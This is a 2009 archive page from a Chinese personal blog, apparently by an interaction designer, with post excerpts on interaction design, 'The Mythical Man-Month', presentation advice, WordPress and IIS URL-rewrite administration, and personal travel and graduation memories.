WL

越来越好,越好越来

Year: 2009


  • 交互设计师-让世界因你而不同(1)总述

    Web交互设计师的定义:秉承以用户为中心的设计理念,应用“以目标为导向的设计”方法,进行互联网产品的设计。

  • 如何成为一名交互设计师?

    如果你想成为一名交互设计师 如何成为一名交互设计师,需要什么样的背景才能进入这个行业,怎样才算优秀的交互设计,需要什么样的实际技能和经验,交互设计师的工作究竟是怎样的,等等……。 学校的培养 首先要明确的是交互设计作为一个新兴的学科还没有一个准确的定义。目前全球也只有少数的几所学校开设“交互设计”的专业,他们开设的课程也只是相似,而没有标准严格规定(这种差异化也许也不错)。而和交互设计相关的专业,比如“信息科学”“人机交互”“新媒体”等在各大学的艺术学院和工科系所(通常是建筑或者信息相关)都有不错的发展,这些专业根据各学校的历史、发展方向等的不同也采用不尽相同的教学方法。 在学术界并没有一个准确的定论说明交互设计专业应该由哪些核心的课程组成。艺术学院倾向于个人和品牌的推介而不是解决产品可用性的问题;工科学院倾向于开发和应用新科技而不是发现和达到用户的目标;和人机技术有关的项目倾向于对于认知理论和用户研究的关注而缺乏而不是设计方法和实践。很多设计项目还是更关注工具而不是方法。不过这种局面在慢慢的改善。 交互设计的不同之处 交互设计的很多设计原则都是沿用传统设计学科,心理学和工程技术学科的理论和方法。交互设计是以上的综合体,除了这些,还是其独有的方法和实践。由于是设计专业,它有一套不同于技术和工程专业的教学方法。为了明确交互设计,我提供一些原则供参考: 交互设计的定义: 定义物品、环境和系统的行为。 与此相关的是: 由产品的行为和使用方式定义其形态 预想何种产品使用方式会拉近人与人的关系,影响人们的理解和认知。 在情境中设计产品与用户的关联。 交互设计的方法从不同的方面来审视设计: 从理解用户怎样使用和为什么希望使用产品开始 为用户和其目标全力以赴 设计完整的交互过程而不只是一些功能和属性 展望远景而不只局限于目前的状况 由以上定义,交互设计师应该具备: 快速学习新领域的知识 解决问题既要有分析力也要有足够的创造力 有视觉化和简化复杂系统的能力 能站在用户的交互思考,体会他们的需求和渴望 理解人和机器各自的强项和弱项 抱有通过人性化,务实,有针对性的设计方案能让生活变得更好的热情 以下的几所学校提供质量不错的交互设计课程: Carnegie Mellon University  卡内基•梅隆大学 Institute of Design, Illinois Institute of Technology  伊利诺科技学院的设计学院 North Carolina State University  北卡罗来纳州立大学 University of Art and Design Helsinki  芬兰赫尔辛基艺术与设计大学 Virginia Commonwealth University  弗吉尼亚联邦大学 其他途径…

  • 谈谈《人月神话》:三、追寻事物本质-《天才是如何思考的》分析事物的本质

    发现事物的本质,是一项艰苦的工作。需要具备一定的技能和恒心。天才们在这方面得心应手,只要看到了本质,就会比别人领悟得更快,做得更好。寻找本质的工作是艰难的,但专门设计的练习可以帮你。下面我们先做两个练习。 给事物定义 在我的课堂上,常要求学生们给出一些简单的事物——如桌子或自行车——的定义。下面是一则典型的师生对话: A:桌子?是一块木头板,有四条腿。 Q:木头?不能是塑料的吗?或铁的?玻璃的? A:嗯。对不起。说是一个平面,有四条腿,好一点。 Q:好吧。你说有四条腿。没有三条腿的桌子吗? A:嗯…… Q:没有两条腿的桌子吗? A:嗯…… Q:没有一条腿的桌子吗? A:嗯…… Q:所以说,桌子有几条腿无关紧要。桌腿的数量,作为一个桌子的特征之一,并不是必须的。 对吗? A:对。 Q:很好。我们接着进行。有没有一条腿也没有的桌子呢? A:有……没有…… Q:好吧,有没有挂在墙上的桌子呢? A:有。 Q:那么,这些桌子就没有腿。那么悬起来的桌子呢? A:嗯……我们没想过那种桌子。 Q:因此,桌腿作为一个参数,根本不是必要的。是吗? A:是。 Q:那么,这个定义还剩下什么呢?一个平面?你是说一个平面吗? A:是的。 Q:好吧。墙是一个平面。是桌子吗? A:不是(很难为情)……我们指的是一个水平的表面。 Q:水平的?有时有些桌子会有点倾斜,所以作为一个特征,水平并不总是事实。再说,地板是 个水平的表面。天花板是个水平的表面。它们是桌子吗? A:不是(大笑)…… Q:那么,你们的桌子定义还剩了什么呢? A:什么也没有。 Q:这就是说,第一个定义没有包含必要的特征。回过头来看。你们一定知道定义是用来指定事 物本质的。所以,桌子的本质是什么? A:……(沉默)…… 好吧,事物的实质必须包含事物的必要的和充足的特征,这样人们才能从一个定义中了解该 事物。同时,记住这个规则:给事物定义之前,先从抽象阶形图中找出最接近的范畴(具体的范畴位于下面,普遍的范畴位于上面,从下到上,从具体到普遍)。在 进入上一级范畴之前,把要定义的事物分为几部分。下面是图形演示的做法: (图略) 例如: 你想给鬈毛狗下个定义,你会怎么说呢? 狗。一种宠物。 很好。如果你说是一种宠物,那么它在抽象范畴内就太靠上了,因为猫也是宠物、鹦鹉也是 宠物。鱼也是宠物。鬈毛狗的抽象阶形图如下所示: 物体 活物(因为有无生命的物体) 宠物(因为野生动物不是宠物) 狗(因为猫也是宠物)、鸟、鱼等 鬈毛狗(因为还有小猎犬、叭喇狗等) 说鬈毛狗是狗的一种,很好;“驯化了的狗”更好,因为还有像澳洲野狗。 从这个抽象阶形 图中稍高一级的范畴开始,下到狗的其他种类上去,然后定义一只鬈毛狗与德国短毛猎狗、 中国家犬等其他狗的不同处。 现在让我们回到桌子这个话题上去: Q:桌子是什么?你从哪儿开始?…

  • 谈谈《人月神话》:二、哪些是现象,哪些是答案,而哪些才是本质?

    我们先来看一个例子: 街口的乞丐向我伸出手来,我给了他十元钞票。 用现象、答案、本质来分析问题:我给出了解决了他伸手(这个问题)的答案,但没并有触及他伸手的本质:饥饿;更未能触及整个事件的本质:贫穷(或者懒惰)。 《人月神话》对我触动较深的就是他的现象、答案、本质体系。纵览全书,提出了很多问题、解答、本质,周爱民统计的数据如下: 现象、答案、本质统计 章 现象 答案 本质 章 现象 答案 本质 1 3     9 7 7 2 2 10 1 1 10 7 4 1 3 3 3   11 21 6 2 4 3 4 1 12 15 3 1 5 3 2   13 13 4   6 3…

  • 谈谈《人月神话》:一、《人月神话》的结构及其与组织

    最近读了《人月神话》,30年前写的书,到现在也一直被奉为经典。10个人读《人员神话》就会有10种感想,结合互联网上众多的读书笔记,发表一点拙见。 《人月神话》的结构及其与组织 章 内容说明 问题域 1 说明“程序(program)”不是“产品(prodouct)”,更不是“项目(project)”。 说明程序员的心理与情绪因素——这是很重要的一个话题。 2 项目的发起、评审与预估(错误的设定项目周期是最大的错误)。 “人月问题”:周期不因为人力投入而变短,事实上它可能更糟糕。 项目定义 3 十个人与几百人面临的问题是不同的。 团队建设 4~5 从设计阶段开始,即致力于获得和维护概念的完整性。 团队管理 – 方向与决策 6 项目过程中的一般性方法。 团队管理 – 一般性方法 7 项目组织过程中的沟通问题。 团队管理 – 沟通问题 8~10 编码过程中的关键问题: -项目复杂程度与需要编码的数据呈指数级关系,反过来,减少编码可降低系统复杂性 -数据的表现形式是编程的根本 -文档是必须且重要的,但往往不被关注(主要强调重要性) 编码 11 承认变更,承认从需求和设计期就开始的变化。 为应付变化而实现的原型系统。 项目定义 – 需求不确定 12 工具带来效能。 13 强调测试,以提升品质和保障项目目标。 项目管理 – 检测/回顾 14 项目控制:进度与里程碑 项目管理 – 控制 15…

  • CRM平台项目的交互模式库总结(持续更新)

    现在做的项目都是平台化的,需要配置许多东西,也需要做成许多通用的模块,如: 如何通过后台去配置查询条件中的下拉列表?增加一项“种类4”, 区间可以配置,在区间类增加一个“200-400”, 人物/组织选择器可复用,而且适用于许多情况。 接下来,您在交互模式库里面可以找到解决方案。线上访问地址:https://wwl3.com/wp-content/sample/AxureLib-CRM-EN/ 同时也总结了项目中的一些交互模式,交互库。这些库会在项目的进行中逐渐更正、改进、完善,以做成一个复用率很高的CRM库。欢迎大家踊跃提建议与意见:) 现在库的结构如下(服务器不支持中文,全部用的英文,这里附上中文对照表 —

  • 鱼米之乡-无锡太湖行

    鱼米之乡-无锡太湖行,淘宝交互设计师王万林与他的同学胡陈国庆期间在太湖游玩

  • 学习PPT之三:控制想像力

    文/胖胡斐 来自:http://darklylee.spaces.live.com 写过的两个文章中,我更喜欢第一篇,“学习PPT”,尤其是“我们干吗做PPT?PPT是干吗的?”一段。最近看了不少东西,也做了不少PPT,也有一些公司内部的讲座,于是,打算把这一块单独拎出来说一说。 易中天先生的《品三国》实 在太棒,五一终于倒出空来仔细看。易中天先生站在屏幕前面,扶着演讲台,深入浅出的讲述他心中的三国和三国人物,“品三国”的“品”用的太经典。我们发现 易先生“品”的时候没有用PPT,但是整个演讲非常成功,观众的注意力完完全全在易先生身上没有移开过,他从头到尾都是中心,无论是视觉中心还是注意力的 中心。所以认为很容易被他的魅力吸引,被他的知识吸引。为什么易先生不用PPT、白板、黑板、幻灯片这种东西呢?我们同时也发现易先生讲座的条理很清晰, 只要从头到尾停下来的,一定可以知道演讲的层次,而不需要借助其他的演示设备。因为演讲,重要的是控制听众的思路,让他们随着自己的思路去想。如果能做到 这样,还要什么PPT? 再看,余世维的 讲座,很少有人没看过,网上都泛滥了。同样的他能够最大限度控制听众的注意力,听众的目光永远在他身上。和易中天先生不同的,是他是典型的台湾讲师,手舞 足蹈肢体语言极为丰富,另一处不同,就是余世维先生会用幻灯片和白板。为什么呢?幻灯片上显示讲座的大纲,仅仅是大纲,白板上面写正在说的一些要点和图 示。余先生需要用一些辅助的信息渠道去完成沟通,需要把提纲做得更加明显。我窃认为这和目标听众的注意力集中程度有关,呵呵。但是我们可以学到的,就是无 论什么辅助信息,都只能是辅助的。千万不能喧兵夺主。 还是要说道Jobs的演讲。Jobs是我见过的将个人魅力和PPT结合最完美的人了。上一篇说过,Jobs在不停的控制观众的注意力,他想让观众什么时候 看大屏幕他们就什么时候看,尽管大屏幕一直在那儿。他用PPT(不管是不是powerpoint做的)作为一种辅助,一种满足观众想像力的辅助。 “想像力”是我们今天说的重点,甚至可以说是想像力管理。易中天先生不用任何演示,可以因为易先生说的东西是没有办法具像的,他在第一回中就说了很多人说 xx演的曹操“不像”,“你见过呀你说像不像?”真的,如果把易先生说的人物都具像化的放在背景板上,观众就会把接收到的各种信息往那个人身上套。就丧失 了想象力。总之我听完讲曹操的两场,心目中的形象和鲍国安没有任何关系。因为我跟着他的思路去想了,所以我认为我听的超值! 余世维先生呢,我们注意他举例子的时候,会说“甲”怎么样,“乙”怎么样,他的幻灯片上永远都只有简单的文字。因为不能让“steven”“lily”这 样的名字给观众一个想像的引导。比如在大多数人想象中,“steven”这个名字就是戴眼镜,个子不高,看上去有点斯文其实有点小坏的男生。 Jobs不一样,他要传达的就是很具像很具像的产品,iPhone、iPod、iMac,一个比一个具体。而且他没有必要让用户去想象这玩意儿该是什么样子。所以Jobs花了很多时间去引导用户想像“如果我有了这个…”这也是想像力管理。 所以,关键在于你想让你的观众往哪里想。你自己一个人的时候,能不能掌握好内容控制大家的注意力。如果可以,那你的PPT别忘了精简精简再精简。 前段时间经常在公司内部分享,做了一些PPT,其中“在淘宝网玩促销”个人比较满意。删了很多次,但是越删页数越多。因为原来在一页里面写了的东西,为了 保证信息传播的简单,保证观众不要把目光集中在PPT上,把很多信息拆分成多页。实践了一下,自己感觉还不错。比如第一个,我在说消费者利益的时候,引用 了一杯牛奶,整个屏幕上只有一杯牛奶,我需要让大家去想,把牛奶卖掉,应该怎么说话。第二个我想让大家去想这两个创意的信息传达,第三个是在说明数据对比 的意义。结果你的观众是可以帮助你往下多做一步的,因为他们在想,因为信息很集中。 前面几篇讲的是控制观众的注意力,今天说了控制观众的想象力。有空我们接着研究。

  • 学习PPT之二:做个好的结案报告

    文/胖胡斐 来自:http://darklylee.spaces.live.com 前一次写学习PPT,被大家说好,还被MSN的编辑放到Live Spaces的首页推荐,导致流量暴涨留言倍增。至今还总有从baidu等搜索引擎引过来的流量。http://darklylee.spaces.live.com/blog/cns!6BAF43F4667DF4C5!585.entry 就是这篇。窃喜窃喜。 上次那篇,不少留言都集中在苹果的那个Keynotes软件上了,其实我的本意是表达怎么样的PPT才能够更好的表达自己的想法。说到底,用什么软件只是一个形式问题。 想起前段时间,自己做的SoCool!活动,花了些心思做了一个总结报告,和大家分享过两次。因为涉及到一些机密,我一直在琢磨怎么能分享出来。终究,删掉很多东西,跟大家分享一下,我认为结案报告的做法和一个好的结案报告应该怎么写。 首先,我们要知道为什么要做结案?结案给谁看? 我们花了很大的精力去做一个项目,得失、成败、喜悦、遗憾都一定有,那么我们需要有一个叫结案的东西,用来 总结:给老板看的,告诉老板你做了什么,有什么结果。 分享:给同事看的,分享自己是怎么做的,有什么好的可取的地方,如果他们做有什么一定要注意的。因为谁也不可能在一个岗位上干一辈子,更不能让自己的事情别人做不了。自己如果能够有一些经验留下来,对自己对公司对别人都是好事。 思考:给自己看的,当自己身处项目之中的时候,不能判断事情的好坏成败,所谓“只缘身在此山中”。当事情结束了,我们静下来仔细去回顾的时候,才会有很多想法浮现出来,这个时候一定要想办法记下来,会让自己印象更加深刻。我们还会发现“说出来”和“写出来”有很大差别,说的时候可以不经过大脑,而写出来就一定要思考过才会写出来。这个“思考”的过程对自己非常重要。 因此,事情做完了,要让老板知道、同事明白、自己成长,做一个像样的结案报告是必要的。 然后,要有个标准:怎么就算好? 大家都见过很多很眩飞来飞去的PPT,看完之后只记得在飞了,却不知道他要说什么,殊不知PPT只是一个表达的工具,是让自己的想法能够传播的东西而已。 我有三个标准,做完结案之后反省一下看是不是达到这几个标准,达到了就可以发了。 别人能“看”懂 老板三分钟就要知道你要说啥 尽量好看一点 我们一个一个说。 别人能“看”懂 和做普通的PPT不同,结案的PPT不是每个人都有机会对着所有人讲,因此我们说这种PPT多是一种“看”的PPT,而不是“听”的PPT。所以我们要让那些没有机会看我们presentation的人很容易弄明白: 你是干什么的?你干什么了? 就是说如果我们离开这个岗位了,留下来的分享,要让别人知道你的基本情况吧。 你怎么干的?效果怎么样? 怎么干的,我们自己可能很清楚,但是别人不一定清楚,一年之后更不会清楚。所以把当时的做法、想法、计划、打算都记录下来,造福后人阿。 告诉人家你做了哪些努力去改善项目,收到了什么样的效果,这样别人会觉得你实在是细致,确实是在努力做事。 如果我做,你有什么要交代的? 换句话说,把自己的遗憾、自己的暗点详尽地表达出来。不可能有完美的项目,知道自己的不足对自己很宝贵。对别人更宝贵,在一个平等分享的公司,这是造福后世的事情。 把自己当成一个很傻很傻的,完全不知道这个项目的人,把自己的PPT过一遍,看看有没有表达清楚。在找一个不了解的人看看,如果他也看懂了就没问题了。千万不要认为自己做了一个别人看不懂的东西是什么光荣的事情! 老板很容易明白 我们说结案PPT很关键是给老板看。那么老板关心什么?我们一定要知道。我不是希望向老板献媚,而是要体现自己的体贴,知道老板要什么,在最短的时间内给老板看他最想要看的东西。这才是给自己机会。 老板都很忙,可能我们的时间只有三分钟。所以 在前三页马上说出你的主要成绩 一定要知道老板关心什么。老板当然知道你是干啥的,也知道你大概干了什么。那么我们只需要告诉他最关心的几个指标就可以了。比如带来了多少销售,有多少人买了。老板不会去关心具体哪一天有多少,你干了多少细节工作。老板很忙,要尽可能一句话告诉他你最成功的点,还要让它记住。所以PPT前几页非常重要。一定要简单,最简单的数字列出KPI就可以了。 后面的内容要尽可能详细 老板看完前面三页的内容,觉得“嗯不错”。但他发现后面还有好几十页,自己却没有时间去看。那这些地方我们还要不要做?当然要。我们要在第四页 PPT告诉老板后面有些什么,可以包括前面讲到的项目概述、时间表、细节等等。老板基本是不会一点点看下去的,这些就是传递给他一个信息:我很细致也很认真。 还是那个说法,这不是讨好老板,而是一种更合适的传播方式。 尽量好看一点 好看的PPT谁都愿意看,但我说这不是必须的。最关健的还是内容,让别人能看懂,让老板容易明白比形式重要一百倍。当然,能做好看就做好看一点。上一篇学习PPT里面有一些PPT制作的原则,可以借鉴的不少。http://darklylee.spaces.live.com/blog/cns!6BAF43F4667DF4C5!585.entry 做了SoCool!活动的结案,我自己感觉受益匪浅,就分享这么多吧。抱歉保密原因不能贴太多图片上来。但是我想方法和原则比具体内容更加重要。

  • 学习PPT

    文/胖胡斐 来自:http://darklylee.spaces.live.com 我敢说,我做的PPT在平常JJYY的圈子里面算是很不错的。我也一直很想有机会有总结和分享。特别是前几天连着看了好几遍Apple WWDC年会的录像之后。 下面这篇,搭眼一看会以为是WWDC的介绍,其实是我研究这个视频之后,对PPT的一些想法而已。 我这里说的PPT,不限于PowerPoint软件,而是说整个的展示、演示的全称。我也不会花很多工夫在技术层面上去说一些技巧,那在Office的帮助里面都有。 从Apple WWDC年会开始说,这是Apple World Wide Developers Conference的全称。每年apple都会在这里做一些回顾,同时推出一些新产品。我是一个标准的apple迷,非常关注apple的每一个新产品新服务。 这回,我的注意力被吸引到了Jobs和他的VP们如何展示他们的PPT上面。当然,他们不使用PowerPoint,在apple的软件里面,PowerPoint会显得很简陋。一款叫Keynotes的软件完成了这个工作。我很愿意花一点时间来说这个软件。 看下面这些图,apple在介绍自己这个软件的时候,总是专挑office没有的功能来说,比如那么立体的图标,酷的像电影的动画,还有图片自动蒙 板。我会认为,凡是看到这个的人,都会至少对PowerPoint很熟悉,都会发现PPT做不了下面的很多东西,都会有印象说keynote比 PowerPoint强大很多。其实,强大倒不一定,但keynotes满足了很多人追求的东西:每一个做PPT的人,都会想着作出来的东西是要给别人看 的,谁都会希望做的很好看很眩。但是如果没有辅助的画图软件如Photoshop,我们似乎比较难做出下面一半效果的ppt。而用keynotes,这一 切都很简单。 我不是在说这个软件多好多好。最终看了图片和软件介绍,我想回归的问题是: 我们干吗做PPT?PPT是干吗的? 我想,PPT有两种,一种是给别人看的,另一种是给别人讲的。共同点是都是要别人了解我们的东西。不同的,是前一种可以用邮件发出去并支持转发,因 为里面的东西会说的很清楚,有很多小字很多注释,或者纯是图文,总之,不需要做的人来解释,就可以看懂的。一般情况下这种PPT是下面的人做出来给领导看 的或者用于平等分享的。我们平常作的分析、分享、总结大部分属于这种。这样的PPT,观看者是面对电脑屏幕看的,他们眼球和屏幕的距离不会超过1米。 另一种是给别人讲的,就是PPT的内容通常非常简单,PPT背后的东西非常多。这种一般是领导讲的,关键是“讲”,不讲别人没法弄清楚。PPT里面 通常有大幅的画面,或者非常非常大的字。最常见的诸如“What?”之类的,广告公司创意提案的时候经常用。这种PPT一定是通过投影打在大屏幕上,演讲 者手舞足蹈在前面讲的。 PPT是用来表达自己思想的工具,只是一个工具而已。不同的是,PPT使用一种全屏幕的独占式推送信息的方式,更加容易获得观众的注意力。大少爷 说,跟人沟通创意,书面的方式很可能会理解不一样,最好还是追一个电话过去,口头沟通好很多。换句话说,书面的或者打在大屏幕上面的东西,只能也必须是一 个辅助,语言和语音的辅助。所以,我还是比较赞同把PPT做得简单一点。 以前有这样的想法,自己做PPT的时候也在模拟,假装自己在讲,可总是仍然想放更多的东西在PPT里面,这样其实对自己很不利,观众会花更多的时间 和注意力在大屏幕上面,而不是在关注自己的举止和语气。说严重一点,这就形成不是自己在讲,而是PPT在讲,自己做的是PPT的一个助手。这肯定不对。想 了很久,直到认真研究了WWDC的keynotes视频。他们在用这样的方式说事情: 在说明一个新东西的时候,先把这个东西的一个overview显示出来,这就够了,接下来的时间,是让观众看自己的,自己有更多的时间去讲解里面每一个要点(key points)。而这个时候,观众是带着问题和兴趣在听你给他解决问题,因此注意力在自己身上。 一定会有demo,这个在介绍新产品的时候很重要,但是画面上面出现demo本身就好了。我以前做了demo,还会在上面把很多地方 highlight出来,告诉人家这个是什么。其实,一个好的demo,是人就能看得懂的,我们只需要告诉人家这个还能做什么就好了,而这样的话,一定要 说出来,而不是写在大屏幕上。 告诉人家什么东西好的时候,一定会有对比,那就要告诉人家跟谁比,哪里好。哪里好的东西也不要写出来,每个看的人都会有自己的看法。我们要做的,就是引导观众朝我们的想法上面去走。 先出内容还是先说出内容?这个是我在研究这个演说的时候注意过的一个问题。通常的提案是先出内容,然后照着念一遍或者解释一遍。我发现,apple 这次演说,之所以说成功,是他们非常纯熟地在运用技巧,控制观众的注意力。本文上面说到,看到key points以后,观众带着疑问看着演讲者,演讲者担当的是解释的角色,演讲者的受关注程度就非常高。同样的,Jobs等人经常会提出一些玄念,一些设问 句,接着大屏幕会用比较动感强烈的动画显示出来要推出的新东西,并且通常只有一句话,比如“next month”“today”,这时候观众会豁然开朗,他们的注意力会马上转移到大屏幕上面,接着会无限憧憬和崇敬地看着讲演者,等待解释。因为大屏幕上的 内容只有最关键的词,大家只能知道关键点,具体的内容还是要有解答才行。 所以,控制观众的眼球,控制他们的注意力,非常重要!PPT充当的角色,就是帮助我们进行控制。 相关的几个说法,关于PPT制作的: Magic Seven原则(7士2=5~9)。每张幻灯片传达5个概念效果最好。 7个概念人脑恰恰好可以处理。 超过9个概念负担太重了,请重新组织。 KISS (Keep It Simple and…

  • 互联网产品的交互设计方法(UPA2008讲稿)

    互联网产品的交互设计方法(UPA2008讲稿)

  • Safari/Chorme/Webkit-based Browsers CSS hack redux

    Safari CSS Hack写法。 @media screen and (-webkit-min-device-pixel-ratio:0) { /* Safari 3.0 and Chrome rules here */ }

  • 《UI Designer》第二期正式发布

    《UI Designer》第二期正式发布

  • Solution of “The mobile phone has not responded” for my nokia E51

    诺基亚PC套件升级之后无法同步

  • 朝朝暮暮朝朝,期期盼盼期期-我的大学毕业

    年年月月年年,朝朝暮暮朝朝,期期盼盼期期,离离合合离离。 毕业离别,自以为很坚强,还是忍不住哭了。回到宿舍,背上书包,转身离开时回眸一视,忍不住掉下眼泪。工作室、寝室的兄弟们,大家一起生活了四年,回想起生活中点点滴滴荡起一丝丝回忆一丝丝感动。离别时天阴阴的下起小雨,无边丝雨细如愁,滴滴啥在心上。 第一次哭红了眼睛,血丝漫漫;没有勇气立即写下博客,我知道没写完早已将键盘打湿。很少把感情写在博客里,是你们这些朝夕相处的兄弟们,让我永难忘记!在车上蒙上双眼没有勇气回头,害怕看见一双双熟悉的眼睛,难以割舍!在机场关掉手机没勇气看短信,害怕与每个人都有说不完的话,害怕踌躇短信里的字字句句! 生命犹如乘火车旅行,旅途中人们上上下下。在旅途中,有时有意外出现,有时会使人们感到意外的惊喜,有时则给人们带来深深的悲哀!工作室的兄弟们,我的同学们,我的朋友们,在生命列车里遇到你们是我的惊喜。感谢大家,感谢你们每一个人! 生命犹如乘火车旅行,旅途中人们上上下下。在旅途中。有时有意外出现,有时会使人们感到意外的惊喜,有时则给人们带来深深的悲哀!来到人间,我们登上生命列车,与一些结伴而行。原以为父母会永远陪伴着我们。遗憾的是,事实并非如此,他们在中途的某个车站下车,使我们成为失去其无法替代的爱抚与陪伴的孤儿。然而,还会有一些在我们的一生中占据非常特殊地位的人上来,我们的兄弟姐妹,亲朋好友和亲密爱人会登上列车。乘坐列车的人中,有些仅仅在车上作短暂的停留,有些在旅途中遭遇的只是悲伤,而有些人则永远准备向需要的人提供帮助!有的人在下车时会给我们留下永久的怀念,有的则消然离去,以至于我们都没觉察到何时离开座位!当发现非常亲密的人竟然坐在另外的车厢里,我们会感到极其惊讶。我们被迫与他们分开。当然,这并不能阻碍我们在旅途中艰难地穿过我们的车厢与我们会合…但遗憾的是,我们不能坐在他们的旁边,因为其它人已占据了座位。尽管旅途中充满挑战,梦想,幻觉,等待和别离,但我们决不回头。让我们尽可能使旅途变得美好,设法同所有旅客建立良好的关系,努力发现每个人的优点。我们经常会回忆起旅途的某个时刻,和我们结伴而行的人,可能会徘徊不定, 我们要理解他人,因为我们需要他人的理解。生命之谜就是:我们在什么地方下车?坐在身旁的伴侣在什么地方下车?我们的朋友在什么地方下车?我们无从知晓……我时常这样想:到我该下车的时候,我会留恋吗?我想我还是会的。和我的朋友分离,我会痛苦。让我的孩子孤独地前行,我会悲伤。我执著地希望在我们大家都要到达的那个终点站,我们还会相聚……我的孩子们上车时没有什么行李,如果我能在他们的行囊中留下美好的回忆,我会感到幸福。我下车后,和我同行的旅客都还能记得我,想念我,我将感到快慰。 小余,小航子,金才,小昭,老阮,老沈,大军,晓晓,小宁童鞋,宋珍珍童鞋,小叶童鞋,宋虹童鞋,峰,川,肖琦,王飞,吴高,紫龙,吴迪,吴迪老婆,龚浩,董文弈,董文弈老婆,小师妹,王皓,谢威,张宁江…… 威延,小鹏,龙哥,俞龟儿,有龟儿,肖男,兴睿,百盛,一哥,阿边,武同志…… 小凤,缘分让我们在最后离开的时候相见,如同我们的初识。你手心熟悉的温度在细雨中暖暖沁过我心,感谢你,无论以前还是现在! 感谢为我送行的兄弟姐妹们,很感动!我会加油的,我会努力的!为自己的梦想而奋斗!

  • Tour to E’Mei Mountain with Xiao Zhao(与小昭同学游峨嵋)

    人生是旅程,都会开向同一个终点,请慢下脚步欣赏身边的风景。 在即将毕业的日子里,去了峨嵋:自然、轻松、清新。3天旅行,快乐许多。没有看到日出,没有看到云海,我们同样招摇,招摇在群山之中,体验旅程中的风景,体验登山中的点点滴滴。 谢谢阿门、浩哥、张蒂妮、朱静萱,在峨嵋,有你们的时间很快了、很开心。 佩服小昭,100多里山路没难倒你,盘旋的山路你没有晕车!笑容还依然那么可爱。Submit^^^ This album can be viewed in my picasa: Tour to E’Mei Mountain with Xiao Zhao, xiaozhao’s blog is done, so many of her photo show here. XiaoZhao and me have our e’Mei mountain trip in June while we are going to be graduated. It’s a wonderful, and it really feels good.…

  • Windows7 Profile Problem : Local Profile “Lost” and has status “Backup” and a new which was created for the user at logon has status “Temp”

    Scenario: User exist for long time in AD (let’s refer to this as DOMAIN\Username) User has for long time logged on to the same PC and the profile exist on this (not roamed). Profile is found as C:\Documents and Settings\[Username]\Profile shown in User Profiles (System Properties -> Advanced) as DOMAIN\Username User log on to DOMAIN…

  • WordPress更换服务器遇到的问题

    wordpress更换服务器,和朋友公用一个数据库,遇到一些问题: wordpress表前缀替换 url重写配置 插件启用以及调试 1.wordpress 更改前缀 Blog更换服务器,用了一空间。无奈有多个Wordpress,只有更换表的前缀。 wordpress默认wp_为前缀,以下更改数据库前缀教程只需要在phpmyadmin运行十几个sql命令即可,傻瓜式的。 首先做的就是更改十个表的前缀,这个简单,命令如下: ALTER TABLE wp_comments RENAME TO [prefix]_comments ALTER TABLE wp_options RENAME TO [prefix]_options ALTER TABLE wp_posts RENAME TO [prefix]_posts ALTER TABLE wp_postmeta RENAME TO [prefix]_postmeta ALTER TABLE wp_users RENAME TO [prefix]_users ALTER TABLE wp_usermeta RENAME TO [prefix]_usermeta ALTER TABLE wp_links RENAME TO [prefix]_links ALTER TABLE wp_terms RENAME…

  • ISAPI Rewrite 介绍及相关应用

    什么是URL重写(URL Rewrite)? URL 重写就是把传入 Web 请重定向到其他 URL 的过程。 比如浏览器发来请求https://wwl3.com/blog/about/,服务器自动将这个请求中定向为https://wwl3.com/blog/index.php?pagename=about 关于URL重写的相关内容我们将在以后的文章中详细介绍。 我们知道在Apache中有mod_rewrite来实现URL的重写功能(URL Rewrite),然而IIS并没有自带这个功能,因此我们就需要使用第三方组件来实现。其实目前有好几种IIS下的Rewirte组件,都是通过 ISAPI筛选器来加载然后实现URL重写的。 用得比较广泛的一个是ISAPI Rewrite,基本上国内支持Rewirte功能的Windows网站空间都采用了该组件。ISAPI Rewrite组件有免费版以及商业版,免费版只支持全局httpd.ini配置(不能对每个站点进行单独设置,除非通过加载不同的dll来实现,比较麻烦。)而商业版支持用户自定义httpd.ini文件,只要放在站点根目录下就能生效。这个大大方便了用户自己修改URL重写规则。 ISAPI Rewrite是一个基于正则表达式的强大的URL处理引擎,他使用起来基本上就像Apache的mod_rewrite,但是他是专门为微软的Internet Information Server (IIS)设计的。 ISAPI Rewrite是一个使用纯C/C++编写的ISAPI筛选器,所以速度是相当快的!ISAPI Rewrite使你可以自由的规划网站的URL。 ISAPI全称为Internet Server Application Program Interface。 ISAPI Rewrite 2 产品地址 ISAPI Rewrite 3 产品地址 3.0版本主要特性是支持采用Apache的 .htaccess文件来在IIS中使用 mod_rewrite。这个特性使得IIS和Apache在日常应用的Rewrite上的区别基本消除了。 国内大部分空间商都没有关注到商业版这个非常方便的功能,只为用户设置全局重写规则,这样会影响服务器性能,以及当某些规则比较复杂时,会造成冲突,给用户带来不便。 安装篇: ISAPI Rewrite在安装上相当方便,如果你下载的是安装包,只需要按照提示进行安装即可。而如果你下载的是压缩包,那么只要将文件夹解压缩的任意目录,然后在IIS站点的ISAPI筛选器中添加ISAPI Rewrite的dll即可。 在站点属性中,选择ISAPI筛选器,然后添加ISAPI Rewrite组件即可。 这里要注意的是:必须给予ISAPI Rewrite所在目录IIS_WGP组的读写权限,否则你的网站就会直接Service Unavailable,应用程序池遇到错误而停止。在事件查看器中可以找到相应的错误。 使用篇: 安装成功以后,接下来就要看看怎么用了。我们这里只说一下最简单的应用,因为大多数人只用URL重写功能来实现SEF(搜索引擎友好),以及简单的防盗链的功能(可以参考利用 ISAPI Rewrite 实现防盗链)。如果您有兴趣了解一些深入的功能的话,可以去看一下官方的使用手册。…

  • 万万在杭州的新家

    花了一周时间,和老包、娟姐、李总每天的空闲时间都在选房子,最终定稿选中了这套,咱们都特喜欢,每天就想着下班回家,我和李总做做饭,品味一下生活,很安逸哦。 地图位置:杭州市文三路竞舟路路口(坐车到文三路丰塘路口) From home in hangzhou in Adamghost’s Picasa Photo Album 刚好空一间屋子,就租出去咯,这是招贴海报(由万万和老包设计): From home in hangzhou in Adamghost’s Picasa Photo Album 部分照片 特喜欢周围的绿化: From home in hangzhou in Adamghost’s Picasa Photo Album 非诚勿扰 and Alibaba Group From home in hangzhou in Adamghost’s Picasa Photo Album 香蕉摇椅 From home in hangzhou in Adamghost’s Picasa Photo Album…

  • 貳零零玖北京之行剪影『叁,北京大學』,Photo collection of Beijing University in Beijing 2009

  • 貳零零玖北京之行剪影『貳,天安門』,Photo collection of Tian An Men in Beijing 2009

  • 貳零零玖北京之行剪影『壹,故宮』,Photo collection of Palace Museum in Beijing 2009

  • Having “layout”

